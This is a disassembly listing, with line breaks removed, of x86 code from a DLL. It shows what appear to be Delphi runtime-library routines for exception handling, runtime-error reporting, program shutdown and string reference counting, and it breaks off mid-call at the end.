loc_10002DAC cmp si, 0C000h jnb short loc_10002DAC push eax mov eax, [eax] call sub_10002D34 pop eax jz short loc_10002DAC mov ecx, esi pop esi jmp ecx ; --------------------------------------------------------------------------- loc_10002DAC: ; CODE XREF: sub_10002D8C+7j ; sub_10002D8C+Ej ... pop esi mov ecx, [eax] jmp dword ptr [ecx-10h] sub_10002D8C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002DB4 proc near ; CODE XREF: sub_10006974+Ap ; sub_100069B0+Fp ... arg_0 = byte ptr 4 push edx push ecx push ebx test dl, dl jl short loc_10002DBE call dword ptr [eax-0Ch] loc_10002DBE: ; CODE XREF: sub_10002DB4+5j xor edx, edx lea ecx, [esp+0Ch+arg_0] mov ebx, fs:[edx] mov [ecx], ebx mov [ecx+8], ebp mov dword ptr [ecx+4], offset sub_10002DDD mov [ecx+0Ch], eax mov fs:[edx], ecx pop ebx pop ecx pop edx retn sub_10002DB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10002DDD proc near ; DATA XREF: sub_10002DB4+18o jmp sub_10002F1C sub_10002DDD endp ; --------------------------------------------------------------------------- mov eax, [esp+2Ch] mov eax, [eax+0Ch] test eax, eax jz short loc_10002DFB mov ecx, [eax] mov dl, 81h push eax call dword ptr [ecx-4] pop eax call sub_10002E04 loc_10002DFB: ; CODE XREF: CODE:10002DEBj call sub_100030A8 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002E04 proc near ; CODE XREF: sub_10002C7C+9p ; CODE:10002DF6p mov edx, [eax] call dword ptr [edx-8] retn sub_10002E04 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002E0C proc near ; CODE XREF: sub_10006974+25p ; sub_100069B0+67p ... push ebx mov ebx, eax mov eax, ebx mov edx, [eax] call dword ptr [edx-1Ch] mov eax, ebx pop ebx retn sub_10002E0C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002E1C proc near ; CODE XREF: sub_10002C7Cp test dl, dl jg short loc_10002E21 retn ; --------------------------------------------------------------------------- loc_10002E21: ; CODE XREF: sub_10002E1C+2j push eax push edx mov edx, [eax] call dword ptr [edx-18h] pop edx pop eax retn sub_10002E1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002E2C proc near ; CODE XREF: sub_100030A8+35p cmp ds:byte_10009018, 1 jbe short locret_10002E46 push 0 push 0 push 0 push 0EEDFADFh call ds:off_1000A014 locret_10002E46: ; CODE XREF: sub_10002E2C+7j retn sub_10002E2C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002E48 proc near ; CODE XREF: sub_10002F1C+4Dp cmp ds:byte_10009018, 0 jz short locret_10002E68 push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call ds:off_1000A014 add esp, 8 pop eax locret_10002E68: ; CODE XREF: sub_10002E48+7j retn sub_10002E48 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_10002E84 loc_10002E6C: ; CODE XREF: sub_10002E84+Bj push esp push 1 push 0 push 0EEDFAE0h call ds:off_1000A014 add esp, 4 pop eax retn ; END OF FUNCTION CHUNK FOR sub_10002E84 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002E84 proc near ; CODE XREF: sub_10002F1C+FDp ; FUNCTION CHUNK AT 10002E6C SIZE 00000015 BYTES cmp ds:byte_10009018, 1 jbe short locret_10002E94 push eax push ebx jmp loc_10002E6C ; --------------------------------------------------------------------------- locret_10002E94: ; CODE XREF: sub_10002E84+7j retn sub_10002E84 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002E98 proc near ; CODE XREF: sub_10002EB8+Cp test ecx, ecx jz short locret_10002EB5 mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_10002EB0 cmp byte ptr [ecx], 0EBh jnz short locret_10002EB5 movsx eax, al inc ecx inc ecx jmp short loc_10002EB3 ; --------------------------------------------------------------------------- loc_10002EB0: ; CODE XREF: sub_10002E98+Aj add ecx, 5 loc_10002EB3: ; CODE XREF: sub_10002E98+16j add ecx, eax locret_10002EB5: ; CODE XREF: sub_10002E98+2j ; sub_10002E98+Fj retn sub_10002E98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002EB8 proc near ; CODE XREF: sub_10001838+1835p cmp ds:byte_10009018, 1 jbe short locret_10002EDE push eax push edx push ecx call sub_10002E98 push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:off_1000A014 pop ecx pop ecx pop edx pop eax locret_10002EDE: ; CODE XREF: sub_10002EB8+7j retn sub_10002EB8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10002EE0 proc near ; CODE XREF: sub_100030FC+28p cmp ds:byte_10009018, 1 jbe short locret_10002EFB push edx push esp push 1 push 0 push 0EEDFAE2h call ds:off_1000A014 pop edx locret_10002EFB: ; CODE XREF: sub_10002EE0+7j retn sub_10002EE0 endp ; =============== S U B R O U T I N E ======================================= sub_10002EFC proc near ; CODE XREF: CODE:loc_10003259p push eax push edx cmp ds:byte_10009018, 1 jbe short loc_10002F17 push esp push 2 push 0 push 0EEDFAE3h call ds:off_1000A014 loc_10002F17: ; CODE XREF: sub_10002EFC+9j pop edx pop eax retn sub_10002EFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10002F1C proc near ; CODE XREF: sub_10002DDDj ; sub_100032CC:loc_10003312j ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_24 = dword ptr 28h mov eax, [esp+arg_0] test dword ptr [eax+4], 6 jnz loc_10003040 cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_10002FA9 cld call sub_10002C24 mov edx, ds:dword_1000A010 test edx, edx jz loc_10003040 call edx test eax, eax jz loc_10003040 mov edx, [esp+arg_8] mov ecx, [esp+arg_0] cmp dword ptr [ecx], 0EEFFACEh jz short loc_10002FA0 call sub_10002E48 cmp ds:byte_1000901C, 0 jbe short loc_10002FA0 cmp ds:byte_10009018, 0 ja short loc_10002FA0 lea ecx, [esp+arg_0] push eax push ecx call sub_10001078 ; UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_10003040 mov edx, eax mov eax, [esp+arg_0] mov ecx, [eax+0Ch] jmp short loc_10002FD0 ; --------------------------------------------------------------------------- loc_10002FA0: ; CODE XREF: sub_10002F1C+4Bj ; sub_10002F1C+59j ... mov edx, eax mov eax, [esp+arg_0] mov ecx, [eax+0Ch] loc_10002FA9: ; CODE XREF: sub_10002F1C+1Dj cmp ds:byte_1000901C, 1 jbe short loc_10002FD0 cmp ds:byte_10009018, 0 ja short loc_10002FD0 push eax lea eax, [esp+4+arg_0] push edx push ecx push eax call sub_10001078 ; UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_10003040 loc_10002FD0: ; CODE XREF: sub_10002F1C+82j ; sub_10002F1C+94j ... or dword ptr [eax+4], 2 push ebx xor ebx, ebx push esi push edi push ebp mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+20h+arg_4] push 0 push eax push offset loc_10002FF4 push edx call ds:off_1000A018 loc_10002FF4: ; DATA XREF: sub_10002F1C+CCo mov edi, [esp+arg_24] call sub_10004460 push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset loc_10003020 add ebx, 5 call sub_10002E84 jmp ebx ; --------------------------------------------------------------------------- loc_10003020: ; DATA XREF: sub_10002F1C+F3o jmp loc_10003048 ; --------------------------------------------------------------------------- call sub_10004460 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_10002C8C ; --------------------------------------------------------------------------- loc_10003040: ; CODE XREF: sub_10002F1C+Bj ; sub_10002F1C+2Dj ... mov eax, 1 retn sub_10002F1C endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_10001838 loc_10003048: ; CODE XREF: sub_10001838:loc_100018EEj ; sub_100018FC:loc_100019D2j ... mov eax, [esp+4] mov edx, [esp+arg_0] test dword ptr [eax+4], 6 jz short loc_10003078 mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_10003078 push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_10002EB8 call ecx pop ebp pop edi pop esi pop ebx loc_10003078: ; CODE XREF: sub_10001838+181Fj ; DATA XREF: sub_10001838+1824o mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_10001838 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10003080 proc near ; CODE XREF: sub_10005444+19p ; sub_10006BAC+4Bj ... or eax, eax jnz short loc_1000308E mov eax, 0D8h call sub_10003614 ; --------------------------------------------------------------------------- loc_1000308E: ; CODE XREF: sub_10003080+2j pop edx push esp push ebp push edi push esi push ebx push eax push edx push esp push 7 push 1 push 0EEDFADEh push edx jmp ds:off_1000A014 sub_10003080 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_100030A8 proc near ; CODE XREF: CODE:loc_10002DFBp ; sub_100032CC+50p ... arg_2C = dword ptr 30h mov eax, [esp+arg_2C] mov dword ptr [eax+4], offset loc_100030F3 call sub_10004460 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+0Ch] and dword ptr [eax+4], 0FFFFFFFDh cmp dword ptr [eax], 0EEDFADEh jz short loc_100030E2 mov eax, [edx+8] call sub_10002C8C call sub_10002E2C loc_100030E2: ; CODE XREF: sub_100030A8+2Bj xor eax, eax add esp, 14h mov edx, fs:[eax] pop ecx mov edx, [edx] mov [ecx], edx pop ebp pop edi pop esi pop ebx loc_100030F3: ; DATA XREF: sub_100030A8+4o mov eax, 1 retn sub_100030A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100030FC proc near ; CODE XREF: sub_100032CC+55p ; sub_1000332C+55p ... arg_2C = dword ptr 30h call sub_10004460 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+8] call sub_10002C8C pop edx mov esp, [esp-4+arg_2C] xor eax, eax pop ecx mov fs:[eax], ecx pop eax pop ebp call sub_10002EE0 jmp edx sub_100030FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_1000312C proc near ; CODE XREF: sub_10001F24+F5p ; sub_10001F24+14Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor edx, edx mov ecx, [esp+arg_4] mov eax, [esp+arg_0] add ecx, 5 mov fs:[edx], eax call ecx retn 0Ch sub_1000312C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_10003144: ; CODE XREF: CODE:10003244j ; CODE:10003250j push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [edx] cmp eax, 0C0000092h jg short loc_1000317F jz short loc_100031B1 cmp eax, 0C000008Eh jg short loc_10003171 jz short loc_100031B5 sub eax, 0C0000005h jz short loc_100031C1 sub eax, 87h jz short loc_100031A9 dec eax jz short loc_100031BD jmp short loc_100031D1 ; --------------------------------------------------------------------------- loc_10003171: ; CODE XREF: CODE:1000315Aj add eax, 3FFFFF71h sub eax, 2 jb short loc_100031B1 jz short loc_100031AD jmp short loc_100031D1 ; --------------------------------------------------------------------------- loc_1000317F: ; CODE XREF: CODE:10003151j cmp eax, 0C0000096h jg short loc_10003197 jz short loc_100031C5 sub eax, 0C0000093h jz short loc_100031BD dec eax jz short loc_100031A5 dec eax jz short loc_100031B9 jmp short loc_100031D1 ; --------------------------------------------------------------------------- loc_10003197: ; CODE XREF: CODE:10003184j sub eax, 0C00000FDh jz short loc_100031CD sub eax, 3Dh jz short loc_100031C9 jmp short loc_100031D1 ; --------------------------------------------------------------------------- loc_100031A5: ; CODE XREF: CODE:10003190j mov al, 0C8h jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031A9: ; CODE XREF: CODE:1000316Aj mov al, 0C9h jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031AD: ; CODE XREF: CODE:1000317Bj mov al, 0CDh jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031B1: ; CODE XREF: CODE:10003153j ; CODE:10003179j mov al, 0CFh jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031B5: ; CODE XREF: CODE:1000315Cj mov al, 0C8h jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031B9: ; CODE XREF: CODE:10003193j mov al, 0D7h jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031BD: ; CODE XREF: CODE:1000316Dj ; CODE:1000318Dj mov al, 0CEh jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031C1: ; CODE XREF: CODE:10003163j mov al, 0D8h jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031C5: ; CODE XREF: CODE:10003186j mov al, 0DAh jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031C9: ; CODE XREF: CODE:100031A1j mov al, 0D9h jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031CD: ; CODE XREF: CODE:1000319Cj mov al, 0CAh jmp short loc_100031D3 ; --------------------------------------------------------------------------- loc_100031D1: ; CODE XREF: CODE:1000316Fj ; CODE:1000317Dj ... mov al, 0FFh loc_100031D3: ; CODE XREF: CODE:100031A7j ; CODE:100031ABj ... and eax, 0FFh mov edx, [edx+0Ch] call sub_10002588 ; --------------------------------------------------------------------------- pop ebp retn 4 ; --------------------------------------------------------------------------- loc_100031E4: ; DATA XREF: sub_10003284+Do mov eax, [esp+4] test dword ptr [eax+4], 6 jnz loc_1000327E cmp ds:byte_10009018, 0 ja short loc_1000320D lea eax, [esp+4] push eax call sub_10001078 ; UnhandledExceptionFilter cmp eax, 0 jz short loc_1000327E loc_1000320D: ; CODE XREF: CODE:100031FCj mov eax, [esp+4] cld call sub_10002C24 mov edx, [esp+8] push 0 push eax push offset loc_1000322A push edx call ds:off_1000A018 loc_1000322A: ; DATA XREF: CODE:1000321Eo mov ebx, [esp+4] cmp dword ptr [ebx], 0EEDFADEh mov edx, [ebx+14h] mov eax, [ebx+18h] jz short loc_10003259 mov edx, ds:dword_1000A010 test edx, edx jz loc_10003144 mov eax, ebx call edx test eax, eax jz loc_10003144 mov edx, [ebx+0Ch] loc_10003259: ; CODE XREF: CODE:1000323Aj call sub_10002EFC mov ecx, ds:dword_1000A004 test ecx, ecx jz short loc_1000326A call ecx loc_1000326A: ; CODE XREF: CODE:10003266j mov ecx, [esp+4] mov eax, 0D9h mov edx, [ecx+14h] mov [esp], edx jmp sub_10003614 ; --------------------------------------------------------------------------- loc_1000327E: ; CODE XREF: CODE:100031EFj ; CODE:1000320Bj xor eax, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003284 proc near ; CODE XREF: sub_1000338C+2Ep xor edx, edx lea eax, [ebp-0Ch] mov ecx, fs:[edx] mov fs:[edx], eax mov [eax], ecx mov dword ptr [eax+4], offset loc_100031E4 mov [eax+8], ebp mov ds:dword_1000A634, eax retn sub_10003284 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100032A4 proc near ; CODE XREF: sub_10003530:loc_100035BAp xor edx, edx mov eax, ds:dword_1000A634 test eax, eax jz short locret_100032CB mov ecx, fs:[edx] cmp eax, ecx jnz short loc_100032BE mov eax, [eax] mov fs:[edx], eax retn ; --------------------------------------------------------------------------- loc_100032BC: ; CODE XREF: sub_100032A4+21j mov ecx, [ecx] loc_100032BE: ; CODE XREF: sub_100032A4+10j cmp ecx, 0FFFFFFFFh jz short locret_100032CB cmp [ecx], eax jnz short loc_100032BC mov eax, [eax] mov [ecx], eax locret_100032CB: ; CODE XREF: sub_100032A4+9j ; sub_100032A4+1Dj retn sub_100032A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100032CC proc near ; CODE XREF: sub_100032CC+4Bp ; sub_1000332C+4Bp ... push ebp mov ebp, esp push ebx push esi push edi mov edi, offset dword_1000A630 mov eax, [edi+8] test eax, eax jz short loc_10003326 mov ebx, [edi+0Ch] mov esi, [eax+4] xor edx, edx push ebp push offset loc_10003312 push dword ptr fs:[edx] mov fs:[edx], esp test ebx, ebx jle short loc_10003308 loc_100032F6: ; CODE XREF: sub_100032CC+3Aj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_10003304 call eax loc_10003304: ; CODE XREF: sub_100032CC+34j test ebx, ebx jg short loc_100032F6 loc_10003308: ; CODE XREF: sub_100032CC+28j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_10003326 ; --------------------------------------------------------------------------- loc_10003312: ; DATA XREF: sub_100032CC+1Bo jmp sub_10002F1C ; --------------------------------------------------------------------------- call sub_100032CC call sub_100030A8 call sub_100030FC loc_10003326: ; CODE XREF: sub_100032CC+10j ; sub_100032CC+44j pop edi pop esi pop ebx pop ebp retn sub_100032CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1000332C proc near ; CODE XREF: sub_1000338C+3Ap push ebp mov ebp, esp push ebx push esi push edi mov eax, ds:off_1000A638 test eax, eax jz short loc_10003386 mov esi, [eax] xor ebx, ebx mov edi, [eax+4] xor edx, edx push ebp push offset loc_10003372 push dword ptr fs:[edx] mov fs:[edx], esp cmp esi, ebx jle short loc_10003368 loc_10003354: ; CODE XREF: sub_1000332C+3Aj mov eax, [edi+ebx*8] inc ebx mov ds:dword_1000A63C, ebx test eax, eax jz short loc_10003364 call eax loc_10003364: ; CODE XREF: sub_1000332C+34j cmp esi, ebx jg short loc_10003354 loc_10003368: ; CODE XREF: sub_1000332C+26j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_10003386 ; --------------------------------------------------------------------------- loc_10003372: ; DATA XREF: sub_1000332C+19o jmp sub_10002F1C ; --------------------------------------------------------------------------- call sub_100032CC call sub_100030A8 call sub_100030FC loc_10003386: ; CODE XREF: sub_1000332C+Dj ; sub_1000332C+44j pop edi pop esi pop ebx pop ebp retn sub_1000332C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000338C proc near ; CODE XREF: sub_100044AC+3Ap mov ds:off_1000A014, offset sub_10001068 mov ds:off_1000A018, offset sub_10001070 mov ds:off_1000A638, eax xor eax, eax mov ds:dword_1000A63C, eax mov ds:off_1000A640, edx mov eax, [edx+4] mov ds:dword_1000A02C, eax call sub_10003284 mov ds:byte_1000A034, 0 call sub_1000332C retn sub_1000338C endp ; =============== S U B R O U T I N E ======================================= sub_100033CC proc near ; CODE XREF: sub_10007DD0+1Fp push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_100033D8: ; CODE XREF: sub_100033CC+1Fj mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add edx, ebx call sub_100041C0 add esi, 8 dec edi jnz short loc_100033D8 pop esi pop edi pop ebx retn sub_100033CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100033F4 proc near ; CODE XREF: sub_10007DD0+29p push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_10003400: ; CODE XREF: sub_100033F4+1Ej mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add eax, [esi+8] mov [edx+ebx], eax add esi, 0Ch dec edi jnz short loc_10003400 pop esi pop edi pop ebx retn sub_100033F4 endp ; =============== S U B R O U T I N E ======================================= sub_10003418 proc near ; CODE XREF: sub_10003530+38p push ebx push esi push edi mov esi, offset aRuntimeErrorAt ; "Runtime error at 00000000" mov cl, 10h mov ebx, ds:dword_10009000 loc_10003428: ; CODE XREF: sub_10003418+33j mov eax, ebx mov edi, 0Ah cdq idiv edi add dl, 30h xor eax, eax mov al, cl mov [esi+eax], dl mov eax, ebx mov ebx, 0Ah cdq idiv ebx mov ebx, eax dec ecx test ebx, ebx jnz short loc_10003428 mov cl, 1Ch mov eax, ds:dword_10009004 loc_10003454: ; CODE XREF: sub_10003418+54j mov edx, eax and edx, 0Fh mov dl, ds:byte_1000907C[edx] xor ebx, ebx mov bl, cl mov [esi+ebx], dl shr eax, 4 dec ecx test eax, eax jnz short loc_10003454 pop edi pop esi pop ebx retn sub_10003418 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003474 proc near ; CODE XREF: sub_10003530+9Ep xor eax, eax xchg eax, ds:dword_10009000 neg eax sbb eax, eax inc eax mov edi, offset dword_1000A630 mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_10003474 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100034A4 proc near ; CODE XREF: sub_10003530+3Dp var_4 = byte ptr -4 push ecx cmp ds:byte_1000A044, 0 jz short loc_10003505 cmp ds:word_1000A218, 0D7B2h jnz short loc_100034CD cmp ds:dword_1000A220, 0 jbe short loc_100034CD mov eax, offset dword_1000A214 call ds:dword_1000A230 loc_100034CD: ; CODE XREF: sub_100034A4+13j ; sub_100034A4+1Cj push 0 lea eax, [esp+8+var_4] push eax push 1Eh push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0FFFFFFF5h call sub_10001060 ; GetStdHandle push eax call sub_10001080 ; WriteFile push 0 lea eax, [esp+8+var_4] push eax push 2 push offset dword_1000352C push 0FFFFFFF5h call sub_10001060 ; GetStdHandle push eax call sub_10001080 ; WriteFile pop edx retn ; --------------------------------------------------------------------------- loc_10003505: ; CODE XREF: sub_100034A4+8j cmp ds:byte_10009020, 0 jnz short loc_10003521 push 0 push offset aError ; "Error" push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0 call sub_10001098 ; MessageBoxA loc_10003521: ; CODE XREF: sub_100034A4+68j pop edx retn sub_100034A4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_1000352C dd 0A0Dh ; DATA XREF: sub_100034A4+4Do ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_10003530 proc near ; CODE XREF: sub_10003608+5p ; CODE:loc_1000872Cp push ebx push esi push edi push ebp mov ebx, offset dword_1000A630 mov esi, offset dword_10009000 mov edi, offset dword_1000A040 cmp byte ptr [ebx+28h], 0 jnz short loc_1000355F cmp dword ptr [edi], 0 jz short loc_1000355F loc_1000354E: ; CODE XREF: sub_10003530+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_1000354E loc_1000355F: ; CODE XREF: sub_10003530+17j ; sub_10003530+1Cj cmp ds:dword_10009004, 0 jz short loc_10003579 call sub_10003418 call sub_100034A4 xor eax, eax mov ds:dword_10009004, eax loc_10003579: ; CODE XREF: sub_10003530+36j ; sub_10003530+CEj cmp byte ptr [ebx+28h], 2 jnz short loc_10003589 cmp dword ptr [esi], 0 jnz short loc_10003589 xor eax, eax mov [ebx+0Ch], eax loc_10003589: ; CODE XREF: sub_10003530+4Dj ; sub_10003530+52j call sub_100032CC cmp byte ptr [ebx+28h], 1 jbe short loc_10003599 cmp dword ptr [esi], 0 jz short loc_100035BA loc_10003599: ; CODE XREF: sub_10003530+62j mov eax, [ebx+10h] test eax, eax jz short loc_100035BA call sub_10004120 mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_100035BA test eax, eax jz short loc_100035BA push eax call sub_100010B0 ; FreeLibrary loc_100035BA: ; CODE XREF: sub_10003530+67j ; sub_10003530+6Ej ... call sub_100032A4 cmp byte ptr [ebx+28h], 1 jnz short loc_100035C8 call dword ptr [ebx+24h] loc_100035C8: ; CODE XREF: sub_10003530+93j cmp byte ptr [ebx+28h], 0 jz short loc_100035D3 call sub_10003474 loc_100035D3: ; CODE XREF: sub_10003530+9Cj cmp dword ptr [ebx], 0 jnz short loc_100035EF cmp ds:dword_1000A024, 0 jz short loc_100035E7 call ds:dword_1000A024 loc_100035E7: ; CODE XREF: sub_10003530+AFj mov eax, [esi] push eax call sub_10001090 ; ExitProcess loc_100035EF: ; CODE XREF: sub_10003530+A6j mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_10003579 sub_10003530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_10003608 proc near ; CODE XREF: sub_10002588+6p ; sub_10003614+6j mov ds:dword_10009000, eax call sub_10003530 sub_10003608 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_10003614 proc near ; CODE XREF: sub_10003080+9p ; CODE:10003279j ... pop ds:dword_10009004 jmp sub_10003608 sub_10003614 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_10003620 proc near ; CODE XREF: sub_10003710+23p ; CODE:1000377Bp ... mov edx, [eax] test edx, edx jz short locret_10003642 mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_10003642 lock dec dword ptr [edx-8] jnz short locret_10003642 push eax lea eax, [edx-8] call sub_10002518 pop eax locret_10003642: ; CODE XREF: sub_10003620+4j ; sub_10003620+10j ... retn sub_10003620 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003644 proc near ; CODE XREF: sub_10003AB4+56p ; sub_10006268+10Dp ... push ebx push esi mov ebx, eax mov esi, edx loc_1000364A: ; CODE XREF: sub_10003644+2Aj mov edx, [ebx] test edx, edx jz short loc_1000366A mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_1000366A lock dec dword ptr [edx-8] jnz short loc_1000366A lea eax, [edx-8] call sub_10002518 loc_1000366A: ; CODE XREF: sub_10003644+Aj ; sub_10003644+16j ... add ebx, 4 dec esi jnz short loc_1000364A pop esi pop ebx retn sub_10003644 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003674 proc near ; CODE XREF: sub_1000389C+8j ; sub_100038E0:loc_1000395Ap ... test edx, edx jz short loc_1000369C mov ecx, [edx-8] inc ecx jg short loc_10003698 push eax push edx mov eax, [edx-4] call sub_100036E4 mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_1000263C pop edx pop eax jmp short loc_1000369C ; --------------------------------------------------------------------------- loc_10003698: ; CODE XREF: sub_10003674+8j lock inc dword ptr [edx-8] loc_1000369C: ; CODE XREF: sub_10003674+2j ; sub_10003674+22j xchg edx, [eax] test edx, edx jz short locret_100036B6 mov ecx, [edx-8] dec ecx jl short locret_100036B6 lock dec dword ptr [edx-8] jnz short locret_100036B6 lea eax, [edx-8] call sub_10002518 locret_100036B6: ; CODE XREF: sub_10003674+2Cj ; sub_10003674+32j ... retn sub_10003674 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100036B8 proc near ; CODE XREF: sub_10006C00+2Ep ; sub_1000757C+1EDp ... test edx, edx jz short loc_100036C6 mov ecx, [edx-8] inc ecx jle short loc_100036C6 lock inc dword ptr [edx-8] loc_100036C6: ; CODE XREF: sub_100036B8+2j ; sub_100036B8+8j xchg edx, [eax] test edx, edx jz short locret_100036E0 mov ecx, [edx-8] dec ecx jl short locret_100036E0 lock dec dword ptr [edx-8] jnz short locret_100036E0 lea eax, [edx-8] call sub_10002518 locret_100036E0: ; CODE XREF: sub_100036B8+12j ; sub_100036B8+18j ... retn sub_100036B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100036E4 proc near ; CODE XREF: sub_10003674+Fp ; sub_10003710+Bp ... test eax, eax jle short loc_1000370C push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_100024F8 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_1000370C: ; CODE XREF: sub_100036E4+2j xor eax, eax retn sub_100036E4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10003710 proc near ; CODE XREF: CODE:100037AEp ; sub_100037EC+8p ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_100036E4 mov ecx, edi mov edi, eax test esi, esi jz short loc_10003731 mov edx, eax mov eax, esi call sub_1000263C loc_10003731: ; CODE XREF: sub_10003710+16j mov eax, ebx call sub_10003620 mov [ebx], edi pop edi pop esi pop ebx retn sub_10003710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003740 proc near ; CODE XREF: CODE:1000379Bp ; CODE:100037CBp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 push edx push eax mov eax, [ebp+arg_0] push eax push ecx push 0 mov eax, ds:dword_1000A5B8 push eax call sub_10001128 ; 